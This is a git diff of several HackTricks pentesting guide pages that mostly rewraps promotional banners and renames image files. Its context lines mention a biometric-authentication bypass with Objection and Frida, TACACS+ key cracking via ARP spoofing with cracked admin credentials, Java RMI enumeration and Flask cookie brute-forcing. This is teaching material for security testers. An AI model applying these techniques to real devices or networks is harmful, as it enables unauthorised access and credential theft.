@@ -8,13 +8,13 @@
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
@@ -108,17 +108,17 @@
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
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 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<img src="../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 

mobile-pentesting/ios-pentesting/README.md

@@ -1,6 +1,6 @@
 # iOS Pentesting
 
-<img src="../../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -10,13 +10,13 @@
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
@@ -382,7 +382,7 @@ struct CGSize {
 
 However, the best options to disassemble the binary are: [**Hopper**](https://www.hopperapp.com/download.html?) and [**IDA**](https://www.hex-rays.com/products/ida/support/download\_freeware/).
 
-<img src="../../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -742,7 +742,7 @@ Jun  7 13:42:14 iPhone touch[9708] <Notice>: MS:Notice: Injecting: (null) [touch
 ...
 ```
 
-<img src="../../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -1039,7 +1039,7 @@ If `Security.framework` is used, only the second one will be shown.
 
 #### Objection
 
-****[**Objection Biometrics Bypass**](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) **** can be used to bypass LocalAuthentication. Objection **uses Frida to instrument the `evaluatePolicy` function so that it returns `True`** even if authentication was not successfully performed. Use the `ios ui biometrics_bypass` command to bypass the insecure biometric authentication. Objection will register a job, which will replace the `evaluatePolicy` result. It will work in both, Swift and Objective-C implementations.
+\*\*\*\*[**Objection Biometrics Bypass**](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) \*\*\*\* can be used to bypass LocalAuthentication. Objection **uses Frida to instrument the `evaluatePolicy` function so that it returns `True`** even if authentication was not successfully performed. Use the `ios ui biometrics_bypass` command to bypass the insecure biometric authentication. Objection will register a job, which will replace the `evaluatePolicy` result. It will work in both, Swift and Objective-C implementations.
 
 ```bash
 ...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
@@ -1084,7 +1084,7 @@ An example of a use of **`evaluatePolicy`** from [DVIA-v2 application](https://g
 }
 ```
 
-To bypass the Local Authentication, we have to write a Frida script that **bypasses** the aforementioned _**evaluatePolicy** _ check. As you can see in the above-pasted code snippet, the _**evaluatePolicy**_ uses a **callback** that determines the **result**. So, the easiest way to achieve the hack is to intercept that callback and make sure it **always returns the **_**success=1**_.
+To bypass the Local Authentication, we have to write a Frida script that **bypasses** the aforementioned _**evaluatePolicy** \_ check. As you can see in the above-pasted code snippet, the **evaluatePolicy** uses a **callback** that determines the **result**. So, the easiest way to achieve the hack is to intercept that callback and make sure it \*\*always returns the \*\*_**success=1**\_.
 
 ```swift
 // from https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/
@@ -1228,7 +1228,7 @@ You can find the **libraries used by an application** by running **`otool`** aga
 * [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
 * [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
 
-<img src="../../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -1236,12 +1236,12 @@ You can find the **libraries used by an application** by running **`otool`** aga
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md

@@ -2,17 +2,17 @@
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<img src="../../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -118,7 +118,7 @@ Steps to configure Burp as proxy:
 
 * Click on _**Ok**_ and the in _**Apply**_
 
-<img src="../../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -126,12 +126,12 @@ Steps to configure Burp as proxy:
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

network-services-pentesting/1099-pentesting-java-rmi.md

@@ -2,17 +2,17 @@
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<img src="../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -323,7 +323,7 @@ Entry_1:
   Command: rmg enum {IP} {PORT}
 ```
 
-<img src="../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -331,12 +331,12 @@ Entry_1:
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

network-services-pentesting/49-pentesting-tacacs+.md

@@ -2,13 +2,13 @@
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
@@ -43,11 +43,11 @@ sudo loki_gtk.py
 
 You also need to specify the path to the dictionary in order to bruteforce the encrypted key. Be sure to uncheck the **Use Bruteforce** option, otherwise Loki will bruteforce the password without using the dictionary.
 
-<figure><img src="../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (11) (2).png" alt=""><figcaption></figcaption></figure>
 
 Now we have to wait for an administrator to log into the device through the TACACS server. It is assumed that the network administrator has already logged in, and we, **standing in the middle via ARP spoofing**, intercept the traffic. And in doing so, the legitimate hosts don’t realize that someone else has interfered with their connection.
 
-<figure><img src="../.gitbook/assets/image (8).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (8) (2).png" alt=""><figcaption></figcaption></figure>
 
 Now click the **CRACK** button and wait for **Loki** to break the password.
 
@@ -65,7 +65,7 @@ We see which banner was used.
 
 We find the username of the user `admin`
 
-<figure><img src="../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (7) (1).png" alt=""><figcaption></figcaption></figure>
 
 As a result, **we have the `admin:secret1234` credentials,** which can be used to access the hardware itself. **I think I’ll check their validity.**
 
@@ -79,12 +79,12 @@ This is how you can attack TACACS+ and **gain access** to the control panel of n
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

network-services-pentesting/pentesting-web/flask.md

@@ -2,17 +2,17 @@
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>
 
-<img src="../../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -86,7 +86,7 @@ Command line tool to brute-force websites using cookies crafted with flask-unsig
 
 [**This example**](../../pentesting-web/sql-injection/sqlmap/#eval) uses sqlmap `eval` option to **automatically sign sqlmap payloads** for flask using a known secret.
 
-<img src="../../.gitbook/assets/image (10).png" alt="" data-size="original">
+<img src="../../.gitbook/assets/image (10) (2).png" alt="" data-size="original">
 
 **Security Skills as a Service** platform bridges the current skill set gap by combining **global offensive security talent with smart automation**, providing real-time data you need to make informed decisions.
 
@@ -94,12 +94,12 @@ Command line tool to brute-force websites using cookies crafted with flask-unsig
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
-* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
+* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
 
 </details>

network-services-pentesting/pentesting-web/web-api-pentesting.md

@@ -2,17 +2,17 @@
 
 <details>
 
-<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
+<summary><a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ HackTricks LIVE Twitch</strong></a> <strong>Wednesdays 5.30pm (UTC) 🎙️ -</strong> <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
 
 * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
